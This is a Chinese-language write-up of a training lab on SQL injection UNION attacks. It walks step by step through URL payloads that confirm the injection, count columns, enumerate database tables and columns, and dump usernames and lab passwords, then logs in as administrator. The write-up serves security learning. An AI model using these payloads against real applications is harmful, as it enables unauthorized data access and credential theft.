文章目录
前言:
实验室标题为:
SQL 注入 UNION 攻击,检索单列中的多个值
等级:执业者
简介:
本实验室包含产品类别过滤器中的 SQL 注入漏洞。查询结果会在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中获取数据。
数据库包含一个名为users的不同表,其中有名为username和password的列。
要解决这个实验室问题,请执行 SQL 注入 UNION 攻击,检索所有用户名和密码,并使用这些信息以管理员用户身份登录。
进入实验室
页面显示为商店页面
构造 payload
尝试闭合
https://xxxxx/filter?category=Gifts' --
单引号+注释符,页面显示正常
and 1=2 判断
https://xxxxx/filter?category=Gifts' and 1=2 --
and 1=1 页面显示正常,and 1=2 页面显示空白,说明页面存在 sql 注入
order by 排序
https://xxxxxx/filter?category=Gifts' order by 2 --
order by 2 页面显示正常,说明有两列数据
union 联合查询
https://xxxx/filter?category=Gifts' and 1=2 union select 1111,'aaaa' --
经过测试,第一个输出点为数字型,第二个输出点为字符串类型
查看数据库的版本
https://xxxxx/filter?category=Gifts' and 1=2 union select null,version() --
获取表名
https://xxxxxx/filter?category=Gifts' and 1=2 union select null,table_name from information_schema.tables --
找到 uses 表
继续获取列名
https://xxxxx/filter?category=Gifts' and 1=2 union select null,column_name from information_schema.columns where table_name='users' --
password
username
拿数据,获取账户密码
https://xxxxx/filter?category=Gifts' and 1=2 union select null,username from users --
administrator
carlos
wiener
获取密码
https://xxxxx/filter?category=Gifts' and 1=2 union select null,password from users --
yo9dztrc0mlgbc1xpf5b
ym784ss39x6l1r24p260
6nf7ux1sjj0cwrd3o4iy
登录管理员账户,成功通关
administrator
6nf7ux1sjj0cwrd3o4iy